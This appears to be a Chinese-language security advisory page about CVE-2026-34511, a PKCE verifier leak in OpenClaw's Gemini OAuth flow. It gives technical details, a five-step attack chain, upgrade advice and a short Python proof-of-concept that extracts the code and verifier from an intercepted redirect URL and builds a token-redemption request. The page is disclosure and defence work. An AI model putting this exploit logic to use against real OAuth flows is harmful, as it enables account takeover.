IPBUF安全漏洞报告
English
CVE-2026-34511 CVSS 5.3 中危

CVE-2026-34511 OpenClaw PKCE验证器泄露漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34511
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

认证绕过OAuthPKCEOpenClaw信息泄露

漏洞概述

OpenClaw在2026.4.2之前的版本中存在安全缺陷,在处理Gemini OAuth流程时,错误地将PKCE验证器复用为OAuth状态参数,并将其通过重定向URL暴露。攻击者若能捕获该重定向URL,即可同时获取授权码和PKCE验证器,从而破坏PKCE保护机制,进而兑换访问令牌。

技术细节

该漏洞源于OpenClaw在实现OAuth 2.0授权码模式结合PKCE扩展时的逻辑缺陷。PKCE机制旨在通过客户端生成随机的code_verifier和code_challenge来防止授权码拦截攻击。然而,OpenClaw在Gemini OAuth流程中,直接将本应保密的PKCE code_verifier作为OAuth的state参数使用。在标准的OAuth重定向流程中,state参数会被附加在回调URL的查询字符串中返回。由于state参数在此处等同于code_verifier,任何能够拦截网络流量或访问浏览器重定向日志的攻击者,都可以从URL中提取出code_verifier。一旦攻击者获取了授权码和对应的code_verifier,他们就可以向令牌端点发送请求,成功绕过PKCE验证,获取有效的访问令牌,导致账户被接管。

攻击链分析

STEP 1
1. 初始化OAuth流程
用户使用OpenClaw发起Gemini OAuth登录请求,应用生成PKCE验证器。
STEP 2
2. 参数处理错误
OpenClaw错误地将生成的PKCE验证器直接赋值给OAuth的state参数。
STEP 3
3. 重定向暴露
OAuth提供商重定向用户浏览器回OpenClaw,URL中包含授权码和state参数(即验证器)。
STEP 4
4. 攻击者截获
攻击者通过网络嗅探、日志查看或中间人攻击捕获该重定向URL。
STEP 5
5. 绕过验证
攻击者从URL中提取授权码和验证器,向令牌端点发起请求,成功兑换访问令牌。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Simulate the token redemption using leaked parameters from the redirect URL # Exploit scenario: Attacker intercepts the redirect URL containing 'code' and 'state' # where 'state' is actually the 'code_verifier'. def exploit_token_redemption(leaked_redirect_url, token_endpoint, client_id): """ Exploit the PKCE bypass by redeeming the token using the leaked verifier. """ # Parse the leaked URL to extract authorization code and verifier (state) # Example URL: https://callback.com/?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz123 # Note: In this vulnerable app, 'state' == 'code_verifier' print(f"[*] Intercepted Redirect URL: {leaked_redirect_url}") # Extract parameters (parsing logic simplified for PoC) # In a real attack, parse the query string params = {p.split('=')[0]: p.split('=')[1] for p in leaked_redirect_url.split('?')[1].split('&')} auth_code = params.get('code') code_verifier = params.get('state') # The vulnerability: state is the verifier if not auth_code or not code_verifier: print("[-] Could not extract required parameters from URL.") return print(f"[+] Leaked Authorization Code: {auth_code}") print(f"[+] Leaked PKCE Verifier (from state): {code_verifier}") # Payload to redeem the token data = { 'grant_type': 'authorization_code', 'code': auth_code, 'redirect_uri': 'https://callback.com/', 'client_id': client_id, 'code_verifier': code_verifier # Using the leaked verifier } print(f"[*] Sending token redemption request to {token_endpoint}...") # response = requests.post(token_endpoint, data=data) # Actual request # print(f"[+] Response: {response.json()}") print("[+] Exploit logic executed. If valid, access token granted.") # Example Usage # exploit_token_redemption( # "https://app.com/callback?code=auth_code_secret&state=pkce_verifier_secret", # "https://oauth.provider.com/token", # "client_id_value" # )

影响范围

OpenClaw < 2026.4.2

防御指南

临时缓解措施
建议立即将OpenClaw升级至2026.4.2版本以修复此漏洞。如果无法立即升级,应暂时禁用受影响的OAuth登录功能,并严格检查网络日志以确认是否有攻击者利用重定向URL窃取了验证器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表